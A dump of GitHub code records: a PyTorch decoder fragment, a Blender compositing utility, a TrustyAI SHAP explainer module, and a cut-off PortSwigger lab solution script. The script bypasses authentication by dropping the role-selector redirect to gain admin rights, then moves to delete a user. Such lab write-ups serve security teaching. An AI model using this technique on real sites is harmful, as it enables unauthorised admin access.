self).__init__()\n        self.device = torch.device(\n            'cuda' if torch.cuda.is_available() else 'cpu') if device is None else device\n        self.checkpoint_file = \"decoder\"\n        self.im_dims = decoder_params.im_dims\n        self.model = LinearNetwork(decoder_params.linear_params).to(self.device)\n\n    def forward(self, x):\n        return self.model(x).view(-1, *self.im_dims)\n","repo_name":"jullian-yapeter/lcmvae","sub_path":"models/basic_models/linear.py","file_name":"linear.py","file_ext":"py","file_size_in_byte":1632,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"71652126161","text":"from typing import Optional, List, Any\n\nimport bpy\nfrom bpy.types import Image, Scene, Mask\n\nfrom .kt_logging import KTLogger\nfrom .bpy_common import (bpy_new_scene,\n                         bpy_new_image,\n                         bpy_render_frame,\n                         bpy_scene,\n                         get_scene_by_name)\nfrom .images import copy_pixels_data, find_bpy_image_by_name, remove_bpy_image\n\n\n_log = KTLogger(__name__)\n\n\ndef get_viewer_node_image() -> Optional[Image]:\n    for img in bpy.data.images:\n        if img.type == 'COMPOSITING':\n            return img  # Blender uses the first one available\n    return None\n\n\ndef get_mask_by_name(mask_name: str) -> Optional[Mask]:\n    mask_num = bpy.data.masks.find(mask_name)\n    if mask_num >= 0:\n        return bpy.data.masks[mask_num]\n    return None\n\n\ndef create_compositing_shadow_scene(src_scene: Scene, scene_name: str,\n                                    mask_name: str) -> Scene:\n    shadow_scene = bpy_new_scene(scene_name)\n    shadow_scene.use_nodes = True\n    shadow_scene.render.use_compositing = True\n    w = src_scene.render.resolution_x\n    h = src_scene.render.resolution_y\n    shadow_scene.render.resolution_x = w\n    shadow_scene.render.resolution_y = h\n    shadow_scene.view_settings.view_transform = 'Standard'\n    shadow_scene.frame_current = src_scene.frame_current\n    create_mask_compositing_node_tree(shadow_scene, mask_name,\n                                      clear_nodes=False)\n    return shadow_scene\n\n\ndef get_compositing_shadow_scene(scene_name: str) -> Scene:\n    shadow_scene = get_scene_by_name(scene_name)\n    if shadow_scene is None:\n        shadow_scene = create_compositing_shadow_scene(\n            bpy_scene(), scene_name, mask_name='')  # Scene with empty mask\n    return shadow_scene\n\n\ndef create_mask_compositing_node_tree(scene: Scene, mask_name: str,\n                                      clear_nodes: bool=True) -> None:\n    mask = get_mask_by_name(mask_name)\n    node_tree = scene.node_tree\n    if clear_nodes:\n        node_tree.nodes.clear()\n    comp_node = node_tree.nodes.new(type='CompositorNodeComposite')\n    mask_node = node_tree.nodes.new(type='CompositorNodeMask')\n    viewer_node = node_tree.nodes.new(type='CompositorNodeViewer')\n    mask_node.mask = mask\n    node_tree.links.new(mask_node.outputs[0], comp_node.inputs[0])\n    comp_node.location.x += 200\n    node_tree.links.new(mask_node.outputs[0], viewer_node.inputs[0])\n    viewer_node.location.x += 200\n    viewer_node.location.y -= 300\n\n\ndef viewer_node_to_image(img: Image) -> bool:\n    vn_img = get_viewer_node_image()\n    _log.output(f'viewer_node_to_image: {vn_img}')\n    if vn_img is None:\n        return False\n    vw, vh = vn_img.size[:]\n    rw, rh = bpy_render_frame()\n    if vw != rw or vh != rh:\n        _log.output(f'viewer_node_to_image sizes: {vw, vh, rw, rh}')\n        return False\n    copy_pixels_data(vn_img.pixels, img.pixels)\n    return True\n\n\ndef get_rendered_mask_bpy_image(img_name: str) -> Image:\n    rw, rh = bpy_render_frame()\n    img = find_bpy_image_by_name(img_name)\n    if not img or img.size[0] != rw or img.size[1] != rh:\n        remove_bpy_image(img)\n        img = bpy_new_image(img_name, width=rw, height=rh, alpha=True,\n                            float_buffer=False)\n    return img\n\n\ndef get_nodes_by_type(nodes: List, find_type: str) -> List:\n    return [node for node in nodes if node.type == find_type]\n\n\ndef get_node_by_name(nodes: List, name: str) -> Optional[Any]:\n    for node in nodes:\n        if node.name == name:\n            return node\n    return None\n\n\ndef _get_node_by_type_or_by_name(node_tree: Any, name: str, node_type: str,\n                                 node_class: str) -> Any:\n    nodes = get_nodes_by_type(node_tree.nodes, node_type)\n    if len(nodes) == 0:\n        node = node_tree.nodes.new(type=node_class)\n    elif len(nodes) == 1:\n        node = nodes[0]\n    else:\n        node = get_node_by_name(nodes, name)\n        if node is None:\n            node = node_tree.nodes.new(type=node_class)\n    return node\n\n\ndef _get_node_by_name_or_create(node_tree: Any, name: str, node_type: str,\n                                node_class: str) -> Any:\n    node = get_node_by_name(node_tree.nodes, name)\n    if node is None or node.type != node_type:\n        node = node_tree.nodes.new(type=node_class)\n        node.name = name\n    return node\n\n\ndef create_nodes_for_rendering_with_background(scene: Scene) -> Any:\n    node_tree = scene.node_tree\n    node_rlayers = _get_node_by_type_or_by_name(node_tree,\n                                                'Render Layers',\n                                                'R_LAYERS',\n                                                'CompositorNodeRLayers')\n    node_composite = _get_node_by_type_or_by_name(node_tree,\n                                                  'Composite',\n                                                  'COMPOSITE',\n                                                  'CompositorNodeComposite')\n    node_alpha_over = _get_node_by_name_or_create(node_tree,\n                                                  'gt_alpha_over',\n                                                  'ALPHAOVER',\n                                                  'CompositorNodeAlphaOver')\n    node_bg_image = _get_node_by_name_or_create(node_tree,\n                                                'gt_background_image',\n                                                'IMAGE',\n                                                'CompositorNodeImage')\n    node_tree.links.new(node_bg_image.outputs['Image'],\n                        node_alpha_over.inputs[1])  # Image1 socket\n    node_tree.links.new(node_rlayers.outputs['Image'],\n                        node_alpha_over.inputs[2])  # Image2 socket\n    node_tree.links.new(node_alpha_over.outputs['Image'],\n                        node_composite.inputs['Image'])\n    if node_alpha_over.location[0] == node_bg_image.location[0]:\n        node_alpha_over.location[0] += 200  # offset to avoid overlapping\n    return node_bg_image\n\n\ndef revert_default_compositing(scene: Scene) -> bool:\n    node_tree = scene.node_tree\n    name = 'Render Layers'\n    node_type = 'R_LAYERS'\n    nodes = get_nodes_by_type(node_tree.nodes, node_type)\n    if len(nodes) == 0:\n        node_rlayers = None\n    elif len(nodes) == 1:\n        node_rlayers = nodes[0]\n    else:\n        node_rlayers = get_node_by_name(nodes, name)\n\n    name = 'Composite'\n    node_type = 'COMPOSITE'\n    nodes = get_nodes_by_type(node_tree.nodes, node_type)\n    if len(nodes) == 0:\n        node_composite = None\n    elif len(nodes) == 1:\n        node_composite = nodes[0]\n    else:\n        node_composite = get_node_by_name(nodes, name)\n\n    if node_composite is None:\n        return False\n\n    if node_rlayers is not None:\n        node_tree.links.new(node_rlayers.outputs['Image'],\n                            node_composite.inputs['Image'])\n    else:\n        for link in node_tree.links:\n            if link.to_node == node_composite \\\n                    and link.to_socket == node_composite.inputs['Image']:\n                node_tree.links.remove(link)\n        return False\n    return True\n","repo_name":"KeenTools/keentools-blender","sub_path":"keentools/utils/compositing.py","file_name":"compositing.py","file_ext":"py","file_size_in_byte":7168,"program_lang":"python","lang":"en","doc_type":"code","stars":105,"dataset":"github-code","pt":"3"}
+{"seq_id":"38529395122","text":"\"\"\"Explainers.shap module\"\"\"\n# pylint: disable = import-error, too-few-public-methods, wrong-import-order, line-too-long,\n# pylint: disable = unused-argument, consider-using-f-string, invalid-name\nfrom typing import Dict, Optional, Union\nimport matplotlib.pyplot as plt\nimport matplotlib as mpl\nfrom bokeh.models import ColumnDataSource, HoverTool\nfrom bokeh.plotting import figure\nfrom matplotlib.colors import LinearSegmentedColormap\nimport pandas as pd\nimport numpy as np\nfrom jpype import JInt\n\nfrom trustyai import _default_initializer  # pylint: disable=unused-import\nfrom .explanation_results import SaliencyResults\nfrom trustyai.utils._visualisation import (\n    DEFAULT_STYLE as ds,\n    DEFAULT_RC_PARAMS as drcp,\n    bold_red_html,\n    bold_green_html,\n    output_html,\n    feature_html,\n)\nfrom trustyai.model import simple_prediction, Model\nfrom trustyai.utils.data_conversions import (\n    OneInputUnionType,\n    OneOutputUnionType,\n    ManyInputsUnionType,\n    ManyOutputsUnionType,\n    many_inputs_convert,\n    data_conversion_docstring,\n    many_outputs_convert,\n)\n\nfrom org.kie.trustyai.explainability.local.shap import (\n    ShapConfig as _ShapConfig,\n    ShapKernelExplainer as _ShapKernelExplainer,\n)\n\nfrom org.kie.trustyai.explainability.local.shap.background import (\n    RandomGenerator,\n    KMeansGenerator,\n    CounterfactualGenerator,\n)\n\nfrom org.kie.trustyai.explainability.model import (\n    PredictionProvider,\n    Saliency,\n    PerturbationContext,\n)\nfrom java.util import Random\n\n\n# pylint: disable=invalid-name\n\n\nclass SHAPResults(SaliencyResults):\n    \"\"\"Wraps SHAP results. This object is returned by the :class:`~SHAPExplainer`,\n    and provides a variety of methods to visualize and interact with the explanation.\n    \"\"\"\n\n    def __init__(self, saliency_results: SaliencyResults, background):\n        \"\"\"Constructor method. This is called internally, and shouldn't ever need to be used\n        manually.\"\"\"\n        self._java_saliency_results = saliency_results\n        self.background = background\n\n    def saliency_map(self) -> Dict[str, Saliency]:\n        \"\"\"\n        Return a dictionary of found saliencies.\n\n        Returns\n        -------\n        Dict[str, Saliency]\n             A dictionary of :class:`~trustyai.model.Saliency` objects, keyed by output name.\n        \"\"\"\n        return {\n            entry.getKey(): entry.getValue()\n            for entry in self._java_saliency_results.saliencies.entrySet()\n        }\n\n    def get_fnull(self):\n        \"\"\"\n        Return the list of the found fnulls (y-intercepts) of the SHAP explanations\n\n        Returns\n        -------\n        Array[float]\n             An array of the y-intercepts, in order of the model outputs.\n        \"\"\"\n        return {\n            output_name: saliency.getPerFeatureImportance()[-1].getScore()\n            for output_name, saliency in self.saliency_map().items()\n        }\n\n    def _saliency_to_dataframe(self, saliency, output_name):\n        background_mean_feature_values = np.mean(\n            [\n                [f.getValue().asNumber() for f in pi.getFeatures()]\n                for pi in self.background\n            ],\n            0,\n        ).tolist()\n\n        data_rows = []\n        for i, pfi in enumerate(saliency.getPerFeatureImportance()[:-1]):\n            data_rows.append(\n                {\n                    \"Feature\": str(pfi.getFeature().getName().toString()),\n                    \"Value\": pfi.getFeature().getValue().getUnderlyingObject(),\n                    \"Mean Background Value\": background_mean_feature_values[i],\n                    \"SHAP Value\": pfi.getScore(),\n                    \"Confidence\": pfi.getConfidence(),\n                }\n            )\n\n        fnull = {\n            \"Feature\": \"Background\",\n            \"Value\": None,\n            \"Mean Background Value\": None,\n            \"SHAP Value\": self.get_fnull()[output_name],\n        }\n\n        return pd.DataFrame([fnull] + data_rows)\n\n    def as_dataframe(self) -> Dict[str, pd.DataFrame]:\n        \"\"\"\n        Return the SHAP results as dataframes.\n\n        Returns\n        -------\n        Dict[str, pandas.DataFrame]\n            Dictionary of DataFrames, keyed by output name, containing the results of the SHAP\n            explanation. For each model output, the table will contain the following columns:\n\n            * ``Feature``: The name of the feature\n            * ``Feature Value``: The value of the feature for this particular input.\n            * ``Mean Background Value``: The mean value this feature took in the background\n            * ``SHAP Value``: The found SHAP value of this feature.\n            * ``Confidence``: The confidence of this explanation as returned by the explainer.\n\n        \"\"\"\n        df_dict = {}\n        for output_name, saliency in self.saliency_map().items():\n            df_dict[output_name] = self._saliency_to_dataframe(saliency, output_name)\n        return df_dict\n\n    def as_html(self) -> Dict[str, pd.io.formats.style.Styler]:\n        \"\"\"\n        Return the SHAP results as Pandas Styler objects.\n\n        Returns\n        -------\n        Dict[str, pandas.Styler]\n            Dictionary of stylers keyed by output name. Each styler containing the results of the\n            SHAP explanation for that particular output, in the same\n            schema as in :func:`as_dataframe`. This will:\n\n            * Color each ``Feature Value`` based on how it compares to the corresponding\n              ``Mean Background Value``.\n            * Color each ``SHAP Value`` based on how their magnitude.\n        \"\"\"\n\n        def _color_feature_values(feature_values, background_vals):\n            \"\"\"Internal function for the dataframe visualization\"\"\"\n            formats = []\n            for i, feature_value in enumerate(feature_values[1:]):\n                if feature_value < background_vals[i]:\n                    formats.append(f\"background-color:{ds['negative_primary_colour']}\")\n                elif feature_value > background_vals[i]:\n                    formats.append(f\"background-color:{ds['positive_primary_colour']}\")\n                else:\n                    formats.append(None)\n            return [None] + formats\n\n        df_dict = {}\n        for output_name, saliency in self.saliency_map().items():\n            df = self._saliency_to_dataframe(saliency, output_name)\n            shap_values = df[\"SHAP Value\"].values[1:]\n            background_mean_feature_values = df[\"Mean Background Value\"].values[1:]\n\n            style = df.style.background_gradient(\n                LinearSegmentedColormap.from_list(\n                    name=\"rwg\",\n                    colors=[\n                        ds[\"negative_primary_colour\"],\n                        ds[\"neutral_primary_colour\"],\n                        ds[\"positive_primary_colour\"],\n                    ],\n                ),\n                subset=(slice(1, None), \"SHAP Value\"),\n                vmin=-1 * max(np.abs(shap_values)),\n                vmax=max(np.abs(shap_values)),\n            )\n            style.set_caption(f\"Explanation of {output_name}\")\n            df_dict[output_name] = style.apply(\n                _color_feature_values,\n                background_vals=background_mean_feature_values,\n                subset=\"Value\",\n                axis=0,\n            )\n        return df_dict\n\n    def _matplotlib_plot(self, output_name, block=True, call_show=True) -> None:\n        \"\"\"Visualize the SHAP explanation of each output as a set of candlestick plots,\n        one per output.\"\"\"\n        with mpl.rc_context(drcp):\n            shap_values = [\n                pfi.getScore()\n                for pfi in self.saliency_map()[output_name].getPerFeatureImportance()[\n                    :-1\n                ]\n            ]\n            feature_names = [\n                str(pfi.getFeature().getName())\n                for pfi in self.saliency_map()[output_name].getPerFeatureImportance()[\n                    :-1\n                ]\n            ]\n            fnull = self.get_fnull()[output_name]\n            prediction = fnull + sum(shap_values)\n\n            if call_show:\n                plt.figure()\n            pos = fnull\n            for j, shap_value in enumerate(shap_values):\n                color = (\n                    ds[\"negative_primary_colour\"]\n                    if shap_value < 0\n                    else ds[\"positive_primary_colour\"]\n                )\n                width = 0.9\n                if j > 0:\n                    plt.plot([j - 0.5, j + width / 2 * 0.99], [pos, pos], color=color)\n                plt.bar(j, height=shap_value, bottom=pos, color=color, width=width)\n                pos += shap_values[j]\n\n                if j != len(shap_values) - 1:\n                    plt.plot([j - width / 2 * 0.99, j + 0.5], [pos, pos], color=color)\n\n            plt.axhline(\n                fnull,\n                color=\"#444444\",\n                linestyle=\"--\",\n                zorder=0,\n                label=\"Background Value\",\n            )\n            plt.axhline(prediction, color=\"#444444\", zorder=0, label=\"Prediction\")\n            plt.legend()\n\n            ticksize = np.diff(plt.gca().get_yticks())[0]\n            plt.ylim(\n                plt.gca().get_ylim()[0] - ticksize / 2,\n                plt.gca().get_ylim()[1] + ticksize / 2,\n            )\n            plt.xticks(np.arange(len(feature_names)), feature_names)\n            plt.ylabel(self.saliency_map()[output_name].getOutput().getName())\n            plt.xlabel(\"Feature SHAP Value\")\n            plt.title(f\"SHAP: Feature Contributions to {output_name}\")\n            if call_show:\n                plt.show(block=block)\n\n    def _get_bokeh_plot(self, output_name):\n        fnull = self.get_fnull()[output_name]\n\n        # create dataframe of plot values\n        data_source = pd.DataFrame(\n            [\n                {\n                    \"feature\": str(pfi.getFeature().getName()),\n                    \"saliency\": pfi.getScore(),\n                }\n                for pfi in self.saliency_map()[output_name].getPerFeatureImportance()[\n                    :-1\n                ]\n            ]\n        )\n        prediction = fnull + data_source[\"saliency\"].sum()\n\n        data_source[\"color\"] = data_source[\"saliency\"].apply(\n            lambda x: ds[\"positive_primary_colour\"]\n            if x >= 0\n            else ds[\"negative_primary_colour\"]\n        )\n        data_source[\"color_faded\"] = data_source[\"saliency\"].apply(\n            lambda x: ds[\"positive_primary_colour_faded\"]\n            if x >= 0\n            else ds[\"negative_primary_colour_faded\"]\n        )\n        data_source[\"index\"] = data_source.index\n        data_source[\"saliency_text\"] = data_source[\"saliency\"].apply(\n            lambda x: (bold_red_html if x <= 0 else bold_green_html)(\"{:.2f}\".format(x))\n        )\n        data_source[\"bottom\"] = pd.Series(\n            [fnull] + data_source[\"saliency\"].iloc[0:-1].tolist()\n        ).cumsum()\n        data_source[\"top\"] = data_source[\"bottom\"] + data_source[\"saliency\"]\n\n        # create hovertools\n        htool_fnull = HoverTool(\n            name=\"fnull\",\n            tooltips=(\"<h3>SHAP</h3>Baseline {}: {}\").format(\n                output_name, output_html(\"{:.2f}\".format(fnull))\n            ),\n            line_policy=\"interp\",\n        )\n        htool_pred = HoverTool(\n            name=\"pred\",\n            tooltips=(\"<h3>SHAP</h3>Predicted {}: {}\").format(\n                output_name, output_html(\"{:.2f}\".format(prediction))\n            ),\n            line_policy=\"interp\",\n        )\n        htool_bars = HoverTool(\n            name=\"bars\",\n            tooltips=\"<h3>SHAP</h3> {} contributions to {}: @saliency_text\".format(\n                feature_html(\"@feature\"), output_html(output_name)\n            ),\n        )\n\n        # create plot\n        bokeh_plot = figure(\n            sizing_mode=\"stretch_both\",\n            title=\"SHAP Feature Contributions\",\n            x_range=data_source[\"feature\"],\n            tools=[htool_pred, htool_fnull, htool_bars],\n        )\n\n        # add fnull and background lines\n        line_data_source = ColumnDataSource(\n            pd.DataFrame(\n                [\n                    {\"x\": 0, \"pred\": prediction},\n                    {\"x\": len(data_source), \"pred\": prediction},\n                ]\n            )\n        )\n        fnull_data_source = ColumnDataSource(\n            pd.DataFrame(\n                [{\"x\": 0, \"fnull\": fnull}, {\"x\": len(data_source), \"fnull\": fnull}]\n            )\n        )\n\n        bokeh_plot.line(\n            x=\"x\",\n            y=\"fnull\",\n            line_color=\"#999\",\n            hover_line_color=\"#333\",\n            line_width=2,\n            hover_line_width=4,\n            line_dash=\"dashed\",\n            name=\"fnull\",\n            source=fnull_data_source,\n        )\n        bokeh_plot.line(\n            x=\"x\",\n            y=\"pred\",\n            line_color=\"#999\",\n            hover_line_color=\"#333\",\n            line_width=2,\n            hover_line_width=4,\n            name=\"pred\",\n            source=line_data_source,\n        )\n\n        # create candlestick plot lines\n        bokeh_plot.line(\n            x=[0.5, 1],\n            y=data_source.iloc[0][\"top\"],\n            color=data_source.iloc[0][\"color\"],\n        )\n        for i in range(1, len(data_source)):\n            # bar left line\n            bokeh_plot.line(\n                x=[i, i + 0.5],\n                y=data_source.iloc[i][\"bottom\"],\n                color=data_source.iloc[i][\"color\"],\n            )\n            # bar right line\n            if i != len(data_source) - 1:\n                bokeh_plot.line(\n                    x=[i + 0.5, i + 1],\n                    y=data_source.iloc[i][\"top\"],\n                    color=data_source.iloc[i][\"color\"],\n                )\n\n        # create candles\n        bokeh_plot.vbar(\n            x=\"feature\",\n            bottom=\"bottom\",\n            top=\"top\",\n            hover_color=\"color\",\n            color=\"color_faded\",\n            width=0.75,\n            name=\"bars\",\n            source=data_source,\n        )\n        bokeh_plot.yaxis.axis_label = str(output_name)\n        return bokeh_plot\n\n    def _get_bokeh_plot_dict(self):\n        return {\n            decision: self._get_bokeh_plot(decision)\n            for decision in self.saliency_map().keys()\n        }\n\n\nclass BackgroundGenerator:\n    r\"\"\"Generate a background for the SHAP explainer\n\n    Generate a background for the SHAP explainer via one of three algorithms:\n\n    * `sample`: Randomly sample a set of provided points\n    * `kmeans`: Summarize a set of provided points into k centroids\n    * `counterfactual`: Generate a set of background points that meet certain criteria\n\n    \"\"\"\n\n    @data_conversion_docstring(\"many_inputs\")\n    def __init__(self, datapoints: ManyInputsUnionType, feature_domains=None, seed=0):\n        r\"\"\"Initialize the :class:`BackgroundGenerator`.\n\n        Parameters\n        ----------\n        datapoints : {}\n            The set of datapoints to be used to sample/generate the background, as a: {}\n        seed : int\n            The random seed to use in the sampling/generation method\n        \"\"\"\n        self.datapoints = many_inputs_convert(\n            datapoints, feature_domains=feature_domains\n        )\n        self.feature_domains = feature_domains\n        self.seed = 0\n        self._jrandom = Random()\n        self._jrandom.setSeed(self.seed)\n\n    def sample(self, k=100):\n        r\"\"\"Randomly sample datapoints.\n\n        Parameters\n        ----------\n        k : int\n            The number of datapoints to select\n\n        Returns\n        -------\n        :list:`PredictionInput`\n            The background dataset to pass to the :class:`~SHAPExplainer`\n        \"\"\"\n        perturbation_context = PerturbationContext(self._jrandom, 0)\n        return RandomGenerator(self.datapoints, perturbation_context).generate(k)\n\n    def kmeans(self, k=100):\n        r\"\"\"Use k-means clustering over `datapoints` and return k centroids as the background data\n        set.\n\n        Parameters\n        ----------\n        k : int\n            The number of centroids to find\n\n        Returns\n        -------\n        :list:`PredictionInput`\n            The background dataset to pass to the :class:`~SHAPExplainer`\n        \"\"\"\n        return KMeansGenerator(self.datapoints, self.seed).generate(k)\n\n    @data_conversion_docstring(\"many_outputs\")\n    def counterfactual(\n        self,\n        goals: ManyOutputsUnionType,\n        model: PredictionProvider,\n        k_per_goal=100,\n        **kwargs,\n    ):\n        r\"\"\"Generate a background via the CounterfactualExplainer. This lets you specify\n        exact output values that the background dataset conforms to, and thus set the reference\n        point by which all SHAP values compare. For example, if your model is a regression\n        model, choosing a counterfactual goal of 0 will create a background dataset where\n        :math:'f(x) \\approx 0 \\forall x \\in \\text{{background}}`, and as such the SHAP values\n        will compare against zero, which is a useful baseline for regression.\n\n        Parameters\n        ----------\n        goals : {}\n            The set of background datapoints as a: {}\n        model : :obj:`~trustyai.model.PredictionProvider`\n            The TrustyAI PredictionProvider, as generated by :class:`~trustyai.model.Model`\n        k_per_goal : int\n            The number of background datapoints to generate per goal.\n        Keyword Arguments:\n            * k_seeds: int\n                (default= ``5``) For each goal, a number of starting seeds from `datapoints` are used\n                to start the search from. These are the `k_seeds` points within `datapoint`\n                whose corresponding outputs are closet to the goal output. Choose a larger\n                number to get a more diverse background dataset, but the search might require\n                larger `max_attempt_count`, `step_count`, and `timeout_seconds` to get good results.\n            * goal_threshold: float\n                (default= ``.01``) The distance (percentage) threshold defining whether\n                a particular output satisfies the goal. Set to 0 to require an exact match, but\n                this will likely require larger `max_attempt_count`, `step_count`,\n                and `timeout_seconds` to get good results.\n            * chain: boolean\n                (default= ``False``) If chaining is set to `true`, found counterfactual datapoints\n                will be added to the search seeds for subsequent searches. This is useful when a\n                range of counterfactual outputs is desired; for example, if the desired goals are\n                [0, 1, 2, 3], whichever goal is closest to the closest point within `datapoints`\n                will be searched for first. The found counterfactuals from that search are then\n                included in the search for the second-closest goal, and so on. This is especially\n                helpful if the extremes of the goal range are far outside the range produced by the\n                `datapoints`. If only\n            * max_attempt_count: int\n                (default= ``5'`) If no valid counterfactual can be found for a starting seed in the\n                search, the point is slightly perturbed and search is retried. This parameter sets\n                the maximum number of perturbation-retry cycles are allowed during generation.\n            * step_count: int\n                (default= ``5_000``) The number of datapoints to evaluate during the search\n            * timeout_seconds: int\n                (default= ``3``) The maximum number of seconds allowed for each counterfactual search.\n                This will set the maximum runtime of the search to roughly\n                `timeout_seconds` * `max_attempt_count` * `k_per_goal` * `len(goals)`\n\n        Returns\n        -------\n        :list:`PredictionInput`\n            The background dataset to pass to the :class:`~SHAPExplainer`\n        \"\"\"\n        if self.feature_domains is None:\n            raise AttributeError(\n                \"Feature domains must be passed to perform\"\n                \" meaningful counterfactual search\"\n            )\n        goals_converted = many_outputs_convert(goals)\n        generator = (\n            CounterfactualGenerator.builder()\n            .withModel(model)\n            .withKSeeds(kwargs.get(\"k_seeds\", 5))\n            .withRandom(self._jrandom)\n            .withTimeoutSeconds(kwargs.get(\"timeout_seconds\", 3))\n            .withStepCount(kwargs.get(\"step_count\", 5_000))\n            .withGoalThreshold(kwargs.get(\"goal_threshold\", 0.01))\n            .withMaxAttemptCount(kwargs.get(\"max_attempt_count\", 5))\n            .build()\n        )\n\n        if len(goals) == 1:\n            background = generator.generate(\n                self.datapoints, goals_converted[0], k_per_goal\n            )\n        else:\n            background = generator.generateRange(\n                self.datapoints, goals_converted, k_per_goal, kwargs.get(\"chain\", False)\n            )\n        return background\n\n\nclass SHAPExplainer:\n    r\"\"\"*\"By how much did each feature contribute to the outputs?\"*\n\n    SHAP (`SHapley Additive exPlanations <https://arxiv.org/abs/1705.07874>`_) seeks to answer\n    this question via providing SHAP values that provide an additive explanation of the model\n    output; essentially a `receipt` for the model's output. SHAP does this by finding an\n    *additive explanatory model* :math:`g` of the form:\n\n    .. math::\n        f(x) = \\phi_0 + \\phi_1 x'_1 + \\phi_2 x'_2 + \\dots + \\phi_n x'_n\n\n    where :math:`x'_1, \\dots, x'_n` are binary values that indicate whether the :math:`n` th\n    feature ispresent or absent and :math:`\\phi_1, \\dots, \\phi_n` are those features' corresponding\n    SHAP values. :math:`\\phi_0` is the *fnull* of the model, indicating the model's latent\n    output in the absence of all features; functionally, the y-intercept of the explanatory model.\n\n    What all this means is that a feature's exact contribution to the output can be seen as its\n    SHAP value, and the original model output can be recovered by summing up the fnull with all\n    SHAP values.\n\n    To operate, SHAP also needs access to a *background dataset*, a set of representative input\n    datapoints that captures the model's \"normal behavior\". All SHAP values are implicitly\n    comparisons against to the background data, i.e., By how much did each feature contribute to\n    the outputs, as compared to the background inputs?*\n    \"\"\"\n\n    @data_conversion_docstring(\"many_inputs\")\n    def __init__(\n        self,\n        background: ManyInputsUnionType,\n        link_type: Optional[_ShapConfig.LinkType] = None,\n        **kwargs,\n    ):\n        r\"\"\"Initialize the :class:`SHAPxplainer`.\n\n        Parameters\n        ----------\n        background : {}\n            The set of background datapoints as a: {}\n        link_type : :obj:`~_ShapConfig.LinkType`\n            A choice of either ``trustyai.explainers._ShapConfig.LinkType.IDENTITY``\n            or ``trustyai.explainers._ShapConfig.LinkType.LOGIT``. If the model output is a\n            probability, choosing the ``LOGIT`` link will rescale explanations into log-odds units.\n            Otherwise, choose ``IDENTITY``.\n        Keyword Arguments:\n            * samples: int\n                (default= ``None``) The number of samples to use when computing SHAP values. Higher\n                values will increase explanation accuracy, at the  cost of runtime. If none,\n                samples will equal 2048 + 2*n_features\n            * seed: int\n                (default= ``0``) The random seed to be used when generating explanations.\n            * batchSize: int\n                (default= ``20``) The number of batches passed to the PredictionProvider at once.\n                When using :class:`~Model` with `disable_arrow=True` this parameter has no effect.\n                If `arrow=True`, `batch_sizes` of around\n                :math:`\\frac{{2000}}{{\\mathtt{{len(background)}}}}` can produce significant\n                performance gains.\n            * trackCounterfactuals : bool\n                (default= ``False``) Keep track of produced byproduct counterfactuals during SHAP run.\n\n        Returns\n        -------\n        :class:`~SHAPResults`\n            Object containing the results of the SHAP explanation.\n        \"\"\"\n        if not link_type:\n            link_type = _ShapConfig.LinkType.IDENTITY\n        self._jrandom = Random()\n        self._jrandom.setSeed(kwargs.get(\"seed\", 0))\n        self._raw_background = background\n        perturbation_context = PerturbationContext(self._jrandom, 0)\n\n        self._configbuilder = (\n            _ShapConfig.builder()\n            .withLink(link_type)\n            .withBatchSize(kwargs.get(\"batch_size\", 20))\n            .withPC(perturbation_context)\n            .withTrackCounterfactuals(kwargs.get(\"track_counterfactuals\", False))\n        )\n        if kwargs.get(\"samples\") is not None:\n            self._configbuilder.withNSamples(JInt(kwargs[\"samples\"]))\n\n    @data_conversion_docstring(\"one_input\", \"one_output\")\n    def explain(\n        self,\n        inputs: OneInputUnionType,\n        outputs: OneOutputUnionType,\n        model: Union[PredictionProvider, Model],\n    ) -> SHAPResults:\n        \"\"\"Produce a SHAP explanation.\n\n        Parameters\n        ----------\n        inputs : {}\n            The input features to the model, as a: {}\n        outputs : {}\n            The corresponding model outputs for the provided features, that is,\n            ``outputs = model(input_features)``. These can take the form of a: {}\n        model : :obj:`~trustyai.model.PredictionProvider`\n            The TrustyAI PredictionProvider, as generated by :class:`~trustyai.model.Model`\n\n        Returns\n        -------\n        :class:`~SHAPResults`\n            Object containing the results of the SHAP explanation.\n        \"\"\"\n\n        feature_names = model.feature_names if isinstance(model, Model) else None\n        output_names = model.output_names if isinstance(model, Model) else None\n        _prediction = simple_prediction(inputs, outputs, feature_names, output_names)\n        _background = many_inputs_convert(self._raw_background, feature_names)\n        config = self._configbuilder.withBackground(_background).build()\n        explainer = _ShapKernelExplainer(config)\n        with Model.ArrowTransmission(model, inputs):\n            return SHAPResults(\n                explainer.explainAsync(_prediction, model).get(), _background\n            )\n","repo_name":"trustyai-explainability/trustyai-explainability-python","sub_path":"src/trustyai/explainers/shap.py","file_name":"shap.py","file_ext":"py","file_size_in_byte":26511,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"3"}
+{"seq_id":"31456029355","text":"\"\"\"\nTristan Gomez - CS 595\nSpring 2021\n\nThe code below solves the PortSwigger level: Authentication bypass via flawed state machine.\n\nLevel Description:\n    This lab makes flawed assumptions about the sequence of events in the login process. \n    To solve the lab, exploit this flaw to bypass the lab's authentication, \n    access the admin interface, and delete Carlos.\n\n    You can log in to your own account using the following credentials: wiener:peter \n\nVulnerability Description:\n    On login, the site redirects the user from the /login page to the /role-selector\n    page. If the user does not redirect and instead drops the redirect request then\n    the user's role defaults to the Admin role. \n\nRemediation:\n    An easy fix would be on the back-end during login. If the /role-selector page request is\n    dropped, then the logging in user should have their role default to a role of least privilege.\n\"\"\"\n\n\n# We will need to include the \"requests\" library in order to sent GET and POST requests.\n# We will need \"BeautifulSoup\" in order to parse HTML GET responses to get CSRF tokens for \n# form submissions in this lab.\nimport requests\nfrom bs4 import BeautifulSoup\n\ns = requests.Session()\nsite = \"aca81f6b1ed506118064849a0076003f.web-security-academy.net\"\nlogin_url = f\"https://{site}/login\"\n\n\"\"\"\nHere, we will GET the login page and extract csrf token from the html response.\nThen we will use the default provided credentials for the lab, and package them into a\n'login_data' object which we will then use in a POST request to login to the site.\n\"\"\"\nresp = s.get(login_url)\nsoup = BeautifulSoup(resp.text,'html.parser')\ncsrf = soup.find('input', {'name':'csrf'}).get('value')\n\nlogin_data = {\n    'csrf': csrf,\n    'username' : 'wiener',\n    'password' : 'peter'\n}\n\n\"\"\"\nHere, we will POST the login info, but it is critical that we do NOT allow redirects.\nThis will cause us to drop the /role-selector request and will cause our role to default to the\nAdmin role.\n\"\"\"\nresp = s.post(login_url, data=login_data, allow_redirects=False)\nprint(f\"Login status response: {resp.status_code}\")\n\n\"\"\"\nNow, as an admin we can GET the admin panel. We will then use BeautifulSoup to parse out the\ndelete link for Carlos' account. Once found, we will then send a GET request to their delete link\nand solve the 